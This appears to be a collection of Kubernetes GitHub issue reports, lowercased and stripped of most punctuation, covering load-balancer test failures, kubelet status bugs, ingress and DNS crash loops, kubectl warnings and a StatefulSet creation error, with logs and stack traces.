waiting for loadbalancer for service e2e-tests-services-g9z6g/service\r aug 27 21:12:21.302: info: waiting up to 20m0s for service \ service\  to have a loadbalancer\r aug 27 21:32:21.307: info: timed out waiting for service \ service\  to have a load balancer\r  aftereach   sig-network  services\r   /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:142\r step: collecting events from namespace \ e2e-tests-services-g9z6g\ .\r step: found 17 events.\r aug 27 21:32:21.311: info: at 2018-08-27 21:12:18 +0000 utc - event for service: {replication-controller } successfulcreate: created pod: service-msvzk\r aug 27 21:32:21.311: info: at 2018-08-27 21:12:18 +0000 utc - event for service: {replication-controller } successfulcreate: created pod: service-8rjng\r aug 27 21:32:21.311: info: at 2018-08-27 21:12:18 +0000 utc - event for service: {replication-controller } successfulcreate: created pod: service-hrxwk\r aug 27 21:32:21.311: info: at 2018-08-27 21:12:18 +0000 utc - event for service: {service-controller } creatingloadbalancerfailed: error creating load balancer  will retry : failed to ensure load balancer for service e2e-tests-services-g9z6g/service: unsupported load balancer affinity: clientip\r aug 27 21:32:21.311: info: at 2018-08-27 21:12:18 +0000 utc - event for service: {service-controller } ensuringloadbalancer: ensuring load balancer\r    \r \r   what you expected to happen  :\r the test should either succeed or be skipped on aws\r \r   how to reproduce it  as minimally and precisely as possible   :\r run this test on an aws cluster with the aws cloud provider configured\r \r   anything else we need to know?  :\r the test sets the service's session affinity to  v1.serviceaffinityclientip  here:\r \r https://github.com/kubernetes/kubernetes/blob/965df0744726df87058bc27a1cb26ae3ee606dcc/test/e2e/network/service.go l2019\r \r the aws cloud provider specifically only supports  v1.serviceaffinitynone :\r \r https://github.com/kubernetes/kubernetes/blob/fdb5707194d56cbbd0da11c5be3a2a5653e714c9/pkg/cloudprovider/providers/aws/aws.go l3249-l3252\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

before we move the external metrics api to ga  at some point in the future , we should consider bring its results style in line with the cm api.  namely, we should  either  make the external metrics api return a single result and leave it up to the adapter, or make the cm api return multiple results.\r \r i'd  probably  opt for the former, unless we really want to add different aggregation options to the hpa.\r \r  

what happened  :\r when we restart kubelet , we found that kubelet post nodenotready status imediately.  this would result in cloud-controller-manager removing loadbalancer backend imediately which is not expected.\r \r after go through the kubelet log, we found that kubelet report  container runtime is down  but actually it is up. that is kubelet report a false container runtime status while restart , and that is not expect. \r \r for now, this has a tremendous impact on our cloudprovider.\r \r after some dig into the code, we found that kubelet detect container runtime status and report the runtime status councurrently. this is the main cause of the false status report.\r \r   what you expected to happen  :\r kubelet post right status after restart.\r  \r   how to reproduce it  as minimally and precisely as possible   :\r \r first, make sure your container runtime is up. and then watch node status with  kubectl get no xxxxx -w \r \r second, use  systemctl restart kubelet  to restart kubelet.\r \r then, you will see that the kubelet node's status become notready due to  container runtime is down  which is not   which is not expected.\r \r   anything else we need to know?  :\r affect all the latest kubernetes version.\r \r   fix   \r we should not report container runtime status until runtimestates has been initialized.\r \r \r <!-- do not edit below this line -->\r 

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r in webbook, i would like to add a  labelselector  to filter which object should be called with webhook, just like namespaceselector\r \r   why is this needed  :\r \r in  istio  https://github.com/istio/istio , we use  mutatingwebhook  to inject sidecar into pod. for now, webhook only supports  namespaceselector , so when the namespace match, all pods in the namespace will call webhook to check if inject is necessary. in the real world, not all pods in the namespace needs inject. and in some bad case, when the webhook service goes down, it will affect the pods which have no need to inject. so i suggest adding a  labelselector .

jenkins gce e2e  is hitting the following errors:      shutting down test cluster in background. error:  gcloud.compute.firewall-rules.delete  some requests did not succeed:  - the resource 'projects/kubernetes-jenkins-pull/global/firewalls/e2e-gce-agent-pr-2-1-minion-e2e-gce-agent-pr-2-1-http-alt' was not found  error:  gcloud.compute.firewall-rules.delete  some requests did not succeed:  - the resource 'projects/kubernetes-jenkins-pull/global/firewalls/e2e-gce-agent-pr-2-1-minion-e2e-gce-agent-pr-2-1-nodeports' was not found

is this a bug report or feature request?    choose one :bug report  <!-- if this is a bug report, please:   - fill in as much of the template below as you can.  if you leave out     information, we can't help you as well.  if this is a feature request, please:   - describe  in detail  the feature/behavior/change you'd like to see.  in both cases, be ready for followup questions, and please respond in a timely manner.  if we can't reproduce a bug or think a feature already exists, we might close your issue.  if we're wrong, please feel free to reopen it and explain why. -->    kubernetes version    use  kubectl version  : google cloud sdk 129.0.0 kubectl kubectl-windows-x86_64 1.4.0 c:\\program files  x86 \\google\\cloud sdk>kubectl version client version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.0\ ,    environment  : -   gcloud sdk on windows 7  :     what happened  :  i am trying to connect google container engine from my local machine using  gcloud  sdk but i am getting below error.      c:\\program files  x86 \\google\\cloud sdk>gcloud container clusters get-credential s cluster-2  --zone us-central1-a --project myapp-00000 fetching cluster endpoint and auth data. error:  gcloud.container.clusters.get-credentials  environment variable home or kubeconfig must be set to store credentials for kubectl      i have check at home location there is not .kube folder created and not environment variable set by default, so i have created  kubeconfig environment by myself after that i am getting below error :-   error: gcloud crashed  oserror :  errno 13  permission denied: 'c:\\\\tool\\\\config'  i have started gcloud sdk as admin and it have all the correct permission.    what you expected to happen  :    how to reproduce it    as minimally and precisely as possible : run  get-credential on window gcloud sdk  gcloud container clusters get-credentials cluster-2  --zone us-central1-a --project myapp-00000     anything else do we need to know  :

is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r no.\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r default-http-backend, ingress controller, kube-dns, kubernetes-dashboard, crash\r \r ---\r   kubernetes version    use  kubectl version  :\r \r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.1\ , gitcommit:\ 82450d03cb057bab0950214ef122b67c83fb11df\ , gittreestate:\ clean\ , builddate:\ 2016-12-14t00:57:05z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-17t20:20:10z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r \r   environment  :\r -   cloud provider or hardware configuration  : physical servers  16 cores 32 thrads, 64gb of ram  for worker at our own datacenter in france, virtual machines for k8s management  4vcpu, 8gb of ram   masters, lbapi, etcd , and some ec2 instances  t2.medium  for united states workers.\r -   os    e.g. from /etc/os-release : ubuntu 16.04.1 lts\r -   kernel    e.g.  uname -a  : linux $hostname 4.4.0-59-generic  80-ubuntu smp fri jan 6 17:47:47 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r -   install tools  : canonical kubernetes through juju bundle charms\r \r   what happened  :\r when i reboot the node which host the default-http-backend, i have a indefinite crashloopbackoff on all my ingress controller.\r sometime i have the same thing on kubernetes-dashboard and kube-dns.\r \r \r   what you expected to happen  :\r pods on the node which was rebooted should \ respawn\  at another node.\r \r \r   how to reproduce it    as minimally and precisely as possible :\r - install a canonical distribution of kubernetes cluster and custom the default bundle scaling:\r -> 3 kubernetes-master instead of 1\r -> 8 kubernetes-worker instead of 3\r -> 5 etcd instead of 3\r -> 1 kube-api-loadbalancer + easyrsa  installed in two different machines by default \r \r add some ingress to your ingress controller  nginx-ingress-controller deployed by default with the juju charms bundle , do a sudden/random reboot of one node  one by one, with few minutes between they back to life and ping .\r ingress are flapping between running and clbo during some hours and finished to pass to running status  after 109 restarts for the last try .\r sometimes, the problem comes to kubernetes-dashboard and kube-dns also but they are not flapping like ingress controller, just stay blocked at clbo.\r \r   anything else do we need to know  :\r - we recently upgrade from 1.5.1 release of kubernetes, and we perform an upgrade to etcd 2.2.5.\r - we confirmed with the juju team that it doesn't seem to be tied to authentification certificates.\r - all other action like creating new deployment, pod and services are working perfectly.\r - all this machines have only one private  lan  network interface. no public or second interface.\r \r - here are some logs:\r \r $ kubectl --namespace=kube-system logs kubernetes-dashboard-3697905830-qv6hv\r using http port: 9090\r creating api server client for https://10.152.183.1:443\r error while initializing connection to kubernetes apiserver. this most likely means that the cluster is misconfigured  e.g., it has invalid apiserver certificates or service accounts configuration  or the --apiserver-host param points to a server that does not exist. reason: the server has asked for the client to provide credentials\r refer to the troubleshooting guide for more information: https://github.com/kubernetes/dashboard/blob/master/docs/user-guide/troubleshooting.md\r \r $ kubectl logs nginx-ingress-controller-4m9gj\r i0128 06:56:57.719566       1 main.go:94  using build: https://github.com/bprashanth/contrib.git - git-92b2bac\r w0128 06:57:28.383251       1 main.go:118  unexpected error getting runtime information: timed out waiting for the condition\r f0128 06:57:28.474548       1 main.go:121  no service with name default/default-http-backend found: the server has asked for the client to provide credentials  get services default-http-backend \r \r event on kube-dns pod:\r events:\r   firstseen\tlastseen\tcount\tfrom\t\t\t\tsubobjectpath\t\t\ttype\t\treason\t\tmessage\r   ---------\t--------\t-----\t----\t\t\t\t-------------\t\t\t--------\t------\t\t-------\r   11m\t\t11m\t\t1\t{kubelet mth-k8svitess-02}\tspec.containers{sidecar}\tnormal\t\tpulled\t\tcontainer image \ gcr.io/google_containers/k8s-dns-sidecar-amd64:1.11.0\  already present on machine\r   11m\t\t11m\t\t1\t{kubelet mth-k8svitess-02}\tspec.containers{kubedns}\tnormal\t\tcreated\t\tcreated container with docker id 6e42bb1bf0cf; security: seccomp=unconfined \r   11m\t\t11m\t\t1\t{kubelet mth-k8svitess-02}\tspec.containers{kubedns}\tnormal\t\tstarted\t\tstarted container with docker id 6e42bb1bf0cf\r   11m\t\t11m\t\t1\t{kubelet mth-k8svitess-02}\tspec.containers{dnsmasq}\tnormal\t\tcreated\t\tcreated container with docker id 8d0ad69eacbc; security: seccomp=unconfined \r   11m\t\t11m\t\t1\t{kubelet mth-k8svitess-02}\tspec.containers{dnsmasq}\tnormal\t\tstarted\t\tstarted container with docker id 8d0ad69eacbc\r   11m\t\t11m\t\t1\t{kubelet mth-k8svitess-02}\tspec.containers{sidecar}\tnormal\t\tcreated\t\tcreated container with docker id 12897d329447; security: seccomp=unconfined \r   11m\t\t11m\t\t1\t{kubelet mth-k8svitess-02}\tspec.containers{sidecar}\tnormal\t\tstarted\t\tstarted container with docker id 12897d329447\r   10m\t\t10m\t\t1\t{kubelet mth-k8svitess-02}\tspec.containers{kubedns}\tnormal\t\tcreated\t\tcreated container with docker id d9d887fd4091; security: seccomp=unconfined \r   10m\t\t10m\t\t1\t{kubelet mth-k8svitess-02}\tspec.containers{kubedns}\tnormal\t\tstarted\t\tstarted container with docker id d9d887fd4091\r   9m\t\t9m\t\t1\t{kubelet mth-k8svitess-02}\tspec.containers{dnsmasq}\tnormal\t\tstarted\t\tstarted container with docker id 4edcab5a0aa1\r   9m\t\t9m\t\t1\t{kubelet mth-k8svitess-02}\tspec.containers{dnsmasq}\tnormal\t\tkilling\t\tkilling container with docker id 8d0ad69eacbc: pod \ kube-dns-3216771805-w2853_kube-system 854c0971-e4cc-11e6-b87d-0050569e741e \  container \ dnsmasq\  is unhealthy, it will be killed and re-created.\r   9m\t\t9m\t\t1\t{kubelet mth-k8svitess-02}\tspec.containers{dnsmasq}\tnormal\t\tcreated\t\tcreated container with docker id 4edcab5a0aa1; security: seccomp=unconfined \r   9m\t\t9m\t\t1\t{kubelet mth-k8svitess-02}\tspec.containers{kubedns}\tnormal\t\tcreated\t\tcreated container with docker id f1132179b906; security: seccomp=unconfined \r   9m\t\t9m\t\t1\t{kubelet mth-k8svitess-02}\tspec.containers{kubedns}\tnormal\t\tstarted\t\tstarted container with docker id f1132179b906\r   8m\t\t8m\t\t1\t{kubelet mth-k8svitess-02}\t\t\t\t\twarning\t\tfailedsync\terror syncing pod, skipping: failed to \ startcontainer\  for \ kubedns\  with crashloopbackoff: \ back-off 20s restarting failed container=kubedns pod=kube-dns-3216771805-w2853_kube-system 854c0971-e4cc-11e6-b87d-0050569e741e \ \r \r   7m\t7m\t1\t{kubelet mth-k8svitess-02}\tspec.containers{kubedns}\tnormal\tstarted\t\tstarted container with docker id 842551138bd5\r   7m\t7m\t1\t{kubelet mth-k8svitess-02}\tspec.containers{dnsmasq}\tnormal\tstarted\t\tstarted container with docker id d2bcec8e8c4e\r   7m\t7m\t1\t{kubelet mth-k8svitess-02}\tspec.containers{dnsmasq}\tnormal\tkilling\t\tkilling container with docker id 4edcab5a0aa1: pod \ kube-dns-3216771805-w2853_kube-system 854c0971-e4cc-11e6-b87d-0050569e741e \  container \ dnsmasq\  is unhealthy, it will be killed and re-created.\r   7m\t7m\t1\t{kubelet mth-k8svitess-02}\tspec.containers{dnsmasq}\tnormal\tcreated\t\tcreated container with docker id d2bcec8e8c4e; security: seccomp=unconfined \r   7m\t7m\t1\t{kubelet mth-k8svitess-02}\tspec.containers{kubedns}\tnormal\tcreated\t\tcreated container with docker id 842551138bd5; security: seccomp=unconfined \r   6m\t6m\t2\t{kubelet mth-k8svitess-02}\t\t\t\t\twarning\tfailedsync\terror syncing pod, skipping: failed to \ startcontainer\  for \ kubedns\  with crashloopbackoff: \ back-off 40s restarting failed container=kubedns pod=kube-dns-3216771805-w2853_kube-system 854c0971-e4cc-11e6-b87d-0050569e741e \ \r \r   6m\t6m\t1\t{kubelet mth-k8svitess-02}\tspec.containers{dnsmasq}\tnormal\tkilling\t\tkilling container with docker id d2bcec8e8c4e: pod \ kube-dns-3216771805-w2853_kube-system 854c0971-e4cc-11e6-b87d-0050569e741e \  container \ dnsmasq\  is unhealthy, it will be killed and re-created.\r   6m\t6m\t1\t{kubelet mth-k8svitess-02}\tspec.containers{dnsmasq}\tnormal\tstarted\t\tstarted container with docker id 9e3b8146075a\r   6m\t6m\t1\t{kubelet mth-k8svitess-02}\tspec.containers{dnsmasq}\tnormal\tcreated\t\tcreated container with docker id 9e3b8146075a; security: seccomp=unconfined \r   4m\t4m\t1\t{kubelet mth-k8svitess-02}\tspec.containers{dnsmasq}\tnormal\tkilling\t\tkilling container with docker id 9e3b8146075a: pod \ kube-dns-3216771805-w2853_kube-system 854c0971-e4cc-11e6-b87d-0050569e741e \  container \ dnsmasq\  is unhealthy, it will be killed and re-created.\r   5m\t3m\t7\t{kubelet mth-k8svitess-02}\t\t\t\t\twarning\tfailedsync\terror syncing pod, skipping: failed to \ startcontainer\  for \ kubedns\  with crashloopbackoff: \ back-off 1m20s restarting failed container=kubedns pod=kube-dns-3216771805-w2853_kube-system 854c0971-e4cc-11e6-b87d-0050569e741e \ \r \r   11m\t2m\t6\t{kubelet mth-k8svitess-02}\tspec.containers{dnsmasq}\tnormal\tpulled\t\tcontainer image \ gcr.io/google_containers/k8s-dns-dnsmasq-amd64:1.11.0\  already present on machine\r   6m\t2m\t4\t{kubelet mth-k8svitess-02}\tspec.containers{kubedns}\tnormal\tstarted\t\t events with common reason combined \r   2m\t2m\t1\t{kubelet mth-k8svitess-02}\tspec.containers{dnsmasq}\tnormal\tkilling\t\tkilling container with docker id e5f551e889bc: pod \ kube-dns-3216771805-w2853_kube-system 854c0971-e4cc-11e6-b87d-0050569e741e \  container \ dnsmasq\  is unhealthy, it will be killed and re-created.\r   11m\t2m\t39\t{kubelet mth-k8svitess-02}\tspec.containers{kubedns}\twarning\tunhealthy\treadiness probe failed: get http://10.1.2.116:8081/readiness: dial tcp 10.1.2.116:8081: getsockopt: connection refused\r   2m\t1m\t5\t{kubelet mth-k8svitess-02}\t\t\t\t\twarning\tfailedsync\terror syncing pod, skipping: failed to \ startcontainer\  for \ kubedns\  with crashloopbackoff: \ back-off 2m40s restarting failed container=kubedns pod=kube-dns-3216771805-w2853_kube-system 854c0971-e4cc-11e6-b87d-0050569e741e \ \r \r   10m\t1m\t12\t{kubelet mth-k8svitess-02}\tspec.containers{dnsmasq}\twarning\tunhealthy\tliveness probe failed: http probe failed with statuscode: 503\r   1m\t1m\t1\t{kubelet mth-k8svitess-02}\tspec.containers{dnsmasq}\tnormal\tkilling\t\tkilling container with docker id 494292b108cf: pod \ kube-dns-3216771805-w2853_kube-system 854c0971-e4cc-11e6-b87d-0050569e741e \  container \ dnsmasq\  is unhealthy, it will be killed and re-created.\r   1m\t28s\t2\t{kubelet mth-k8svitess-02}\t\t\t\t\twarning\tfailedsync\terror syncing pod, skipping:  failed to \ startcontainer\  for \ dnsmasq\  with crashloopbackoff: \ back-off 2m40s restarting failed container=dnsmasq pod=kube-dns-3216771805-w2853_kube-system 854c0971-e4cc-11e6-b87d-0050569e741e \ \r , failed to \ startcontainer\  for \ kubedns\  with crashloopbackoff: \ back-off 2m40s restarting failed container=kubedns pod=kube-dns-3216771805-w2853_kube-system 854c0971-e4cc-11e6-b87d-0050569e741e \ \r  \r   1m\t15s\t5\t{kubelet mth-k8svitess-02}\t\twarning\tfailedsync\terror syncing pod, skipping:  failed to \ startcontainer\  for \ kubedns\  with crashloopbackoff: \ back-off 2m40s restarting failed container=kubedns pod=kube-dns-3216771805-w2853_kube-system 854c0971-e4cc-11e6-b87d-0050569e741e \ \r , failed to \ startcontainer\  for \ dnsmasq\  with crashloopbackoff: \ back-off 2m40s restarting failed container=dnsmasq pod=kube-dns-3216771805-w2853_kube-system 854c0971-e4cc-11e6-b87d-0050569e741e \ \r  \r   8m\t15s\t29\t{kubelet mth-k8svitess-02}\tspec.containers{kubedns}\twarning\tbackoff\tback-off restarting failed docker container\r   6m\t0s\t5\t{kubelet mth-k8svitess-02}\tspec.containers{kubedns}\tnormal\tcreated\t events with common reason combined \r   11m\t0s\t7\t{kubelet mth-k8svitess-02}\tspec.containers{kubedns}\tnormal\tpulled\tcontainer image \ gcr.io/google_containers/k8s-dns-kube-dns-amd64:1.11.0\  already present on machine\r \r \r \r please let me know if you need further informations.

we see pretty big discrepancy between what we see in kubemark clusters and real ones. it needs to be understood. difference is mostly in the api server usage.\r \r e.g. 99 percentile in kubemark  both results from after density, which is run as a first test :\r    \r container                               cpu cores  memory mb \r \ apiserver/apiserver\                    0.606      407.89\r \ controller-manager/controller-manager\  0.120      218.27\r \ etcd/etcd/data\                         0.120      160.75\r \ etcd/etcd/data-events\                  0.034      46.22\r \ scheduler/scheduler\                    0.080      114.16\r    \r and real cluster:\r    json\r     {\r       \ name\ : \ etcd-server-e2e-scalability-master/etcd-container\ ,\r       \ cpu\ : 0.167254853,\r       \ mem\ : 371601408\r     },\r     {\r       \ name\ : \ etcd-server-events-e2e-scalability-master/etcd-container\ ,\r       \ cpu\ : 0.14851711,\r       \ mem\ : 159068160\r     },\r     {\r       \ name\ : \ kube-apiserver-e2e-scalability-master/kube-apiserver\ ,\r       \ cpu\ : 0.972463425,\r       \ mem\ : 787206144\r     },\r     {\r       \ name\ : \ kube-controller-manager-e2e-scalability-master/kube-controller-manager\ ,\r       \ cpu\ : 0.180771427,\r       \ mem\ : 235991040\r     },\r     {\r       \ name\ : \ kube-scheduler-e2e-scalability-master/kube-scheduler\ ,\r       \ cpu\ : 0.169906087,\r       \ mem\ : 113385472\r     },\r    \r \r @wojtek-t @shyamjvs @kubernetes/sig-scalability-misc

i was running the following command:\r \r    bash\r kubectl --namespace=kube-system \\\r   run escurator \\\r   --image=olalonde/curator \\\r   --command \\\r   --restart=never \\\r   -it \\\r   --rm \\\r   -- \\\r   curator_cli \\\r   --host \ http://elasticsearch-logging:9200\  \\\r   --dry-run \\\r   delete_indices \\\r   --ignore_empty_list \\\r   --filter_list \ ...\ \r    \r \r and kept getting the following errors:\r \r    \r w0426 20:06:03.964253   75988 flags.go:39  ignore_empty_list is deprecated and will be removed in a future version. use ignore-empty-list instead.\r w0426 20:06:03.964257   75988 flags.go:39  filter_list is deprecated and will be removed in a future version. use filter-list instead.\r w0426 20:06:03.964270   75988 flags.go:39  ignore_empty_list is deprecated and will be removed in a future version. use ignore-empty-list instead.\r w0426 20:06:03.964273   75988 flags.go:39  filter_list is deprecated and will be removed in a future version. use filter-list instead.\r    \r \r i guess kubectl has a generic routine that checks for args which have  _  and emits this warning. that said, it shouldn't give this warning for arguments after  --  in  kubectl run .

this function is used in tests to verify the right number of calls, but it only logs, it does not trigger a test failure.  triggering a failure makes a bunch of tests not pass anymore.  this is a poor way to test things like the endpoint controller anyway.

kubernetes version    use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.2+477efc3\ , gitcommit:\ 477efc3cbe6a7effca06bd1452fa356e2201e1ee\ , gittreestate:\ not a git tree\ , builddate:\ 2017-05-02t22:42:26z\ , goversion:\ go1.7.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.2+coreos.0\ , gitcommit:\ 79fee581ce4a35b7791fdd92e0fc97e02ef1d5c0\ , gittreestate:\ clean\ , builddate:\ 2017-04-19t23:13:34z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r   environment  :\r -   cloud provider or hardware configuration  :\r aws\r \r -   os    e.g. from /etc/os-release :\r v1.6.2+coreos.0\r -   kernel    e.g.  uname -a  :\r linu 4.9.24-coreos  smp tue may 30 23:12:01 utc 2017 x86_64 intel r  xeon r  cpu e5-2676 v3 @ 2.40ghz genuineintel gnu/linux\r \r -   install tools  :\r https://github.com/kz8s/tack\r -   others  :\r \r \r   what happened  :\r hi, im trying to create a stateful set to host postgresql.\r the pods are created but the first pod, ie pgset-0 doesnt show up as created:\r    \r replicas:\t\t2 desired | 0 total\r pods status:\t\t0 running / 0 waiting / 0 succeeded / 0 failed\r    \r  with error:\r    \r  firstseen\tlastseen\tcount\tfrom\t\tsubobjectpath\ttype\t\treason\t\t\tmessage\r   ---------\t--------\t-----\t----\t\t-------------\t--------\t------\t\t\t-------\r   4m\t\t4m\t\t1\tstatefulset\t\t\tnormal\t\tsuccessfulcreate\tcreate pod pgset-0 in statefulset pgset successful\r   1m\t\t26s\t\t17\tstatefulset\t\t\twarning\t\tfailedcreate\t\tcreate pod pgset-0 in statefulset pgset failed error: the post operation against pod could not be completed at this time, please try again.\r    \r \r however pgset-0 is running:\r \r    \r name      ready     status    restarts   age\r pgset-0   1/1       running   0          6m\r \r name:\t\tpgset-0\r namespace:\tsiteadmin-deployment\r node:\t\tip-10-0-10-98.ec2.internal/10.0.10.98\r start time:\tfri, 02 jun 2017 23:32:44 -0300\r labels:\t\tapp=pgset\r \t\tname=pgset-master\r annotations:\tkubernetes.io/created-by={\ kind\ :\ serializedreference\ ,\ apiversion\ :\ v1\ ,\ reference\ :{\ kind\ :\ statefulset\ ,\ namespace\ :\ siteadmin-deployment\ ,\ name\ :\ pgset\ ,\ uid\ :\ ec0b045a-4804-11e7-b856-0a17c7a5d990...\r \t\tpod.beta.kubernetes.io/hostname=pgset-0\r \t\tpod.beta.kubernetes.io/subdomain=pgset\r status:\t\trunning\r ip:\t\t10.2.75.3\r controllers:\tstatefulset/pgset\r    \r \r any idea what could be the problem?\r \r \r   what you expected to happen  :\r \r all pods showing up in the statefulset.\r \r   how to reproduce it    as minimally and precisely as possible :\r \r    \r apiversion: apps/v1beta1\r kind: statefulset\r metadata:\r   name: pgset\r   namespace: siteadmin-deployment\r spec:\r   servicename: pgset\r   replicas: 2\r   template:\r     metadata:\r       labels:\r         app: pgset\r         name: pgset-replica\r     spec:\r       securitycontext:\r         fsgroup: 26\r         supplementalgroups:  26 \r       containers:\r       - name: pgset\r         image: crunchydata/crunchy-postgres:centos7-9.5-1.4.1\r         ports:\r         - containerport: 5432\r           name: pgset\r         env:\r         - name: pg_master_user\r           value: master\r         - name: pghost\r           value: \ /tmp\ \r         - name: pg_mode\r           value: set\r           value: set\r         - name: pg_master_host\r           value: pgset-master\r         - name: pg_master_port\r           value: '5432'\r         - name: pg_master_password\r           value: password\r         - name: pg_user\r           value: testuser\r         - name: pg_password\r           value: password\r         - name: pg_database\r           value: userdb\r         - name: pg_root_password\r           value: password\r         volumemounts:\r         - name: pgdata\r           mountpath: \ /pgdata\ \r           readonly: false\r       volumes:\r       - name: pgdata\r         emptydir: {}\r    \r \r \r   anything else we need to know  :\r \r i think this is an error generated because of it:\r    \r i0603 01:32:02.355573       1 wrap.go:75  post /api/v1/namespaces/siteadmin-deployment/pods:  5.287932ms  500\r goroutine 4263962  running :\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/httplog.  resplogger .recordstatus 0xc42531b490, 0x1f4 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/httplog/log.go:219 +0xbb\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/httplog.  resplogger .writeheader 0xc42531b490, 0x1f4 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/httplog/log.go:198 +0x35\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/metrics.  responsewriterdelegator .writeheader 0xc42342e8d0, 0x1f4 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/metrics/metrics.go:134 +0x45\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers/responsewriters.writeobjectnegotiated 0x6cb1fa0, 0xc420d0b1a0, 0x0, 0x0, 0x40e913e, 0x2, 0x6ca9920, 0xc42357d0c8, 0xc425d82780, 0x1\r f4, ... \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers/responsewriters/writers.go:89 +0x162\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers/responsewriters.errornegotiated 0x6c7fe20, 0xc428db5d00, 0x6cb1fa0, 0xc420d0b1a0, 0x0, 0x0, 0x40e913e, 0x2, 0x6ca9920, 0xc42357d0c8\r , ... \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers/responsewriters/writers.go:106 +0x103\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers.  requestscope .err 0xc420ed5b80, 0x6c7fe20, 0xc428db5d00, 0x6ca9920, 0xc42357d0c8, 0xc425d82780 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers/rest.go:100 +0xd7\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers.createhandler.func1 0xc42342e840, 0xc424399620 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers/rest.go:435 +0xee2\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/metrics.instrumentroutefunc.func1 0xc42342e840, 0xc424399620 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/metrics/metrics.go:104 +0x1ec\r k8s.io/kubernetes/vendor/github.com/emicklei/go-restful.  container .dispatch 0xc4206753b0, 0x6ca99a0, 0xc42531b490, 0xc425d82780 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/emicklei/go-restful/container.go:272 +0xba0\r k8s.io/kubernetes/vendor/github.com/emicklei/go-restful.  container . k8s.io/kubernetes/vendor/github.com/emicklei/go-restful.dispatch -fm 0x6ca99a0, 0xc42531b490, 0xc425d82780 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/emicklei/go-restful/container.go:120 +0x48\r net/http.handlerfunc.servehttp 0xc4213f4810, 0x6ca99a0, 0xc42531b490, 0xc425d82780 \r         /usr/local/go/src/net/http/server.go:1726 +0x44\r net/http.  servemux .servehttp 0xc420f90f30, 0x6ca99a0, 0xc42531b490, 0xc425d82780 \r         /usr/local/go/src/net/http/server.go:2022 +0x7f\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters.withpanicrecovery.func1 0x6ca99a0, 0xc42531b490, 0xc425d82780 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters/wrap.go:74 +0x24a\r net/http.handlerfunc.servehttp 0xc420f70180, 0x7fbd4f37d100, 0xc42357d0b8, 0xc425d82780 \r         /usr/local/go/src/net/http/server.go:1726 +0x44\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters.  timeouthandler .servehttp.func1 0xc420d06420, 0x6cb4ea0, 0xc42357d0b8, 0xc425d82780, 0xc4243995c0 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters/timeout.go:91 +0x8d\r created by k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters.  timeouthandler .servehttp\r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters/timeout.go:93 +0x1d1\r \r logging error output: \ k8s\\x00\ \\f\ \\x02v1\\x12\\x06status\\x12\\x89\\x01\ \\x04\ \\x00\\x12\\x00\\x12\\afailure\\x1authe post operation against pod could not be completed at this time, please try again.\\\ \\rs\r ervertimeout \\x0f\ \\x04post\\x12\\x00\\x1a\\x03pod \\x000\\xf4\\x03\\x1a\\x00\\\ \\x00\ \r    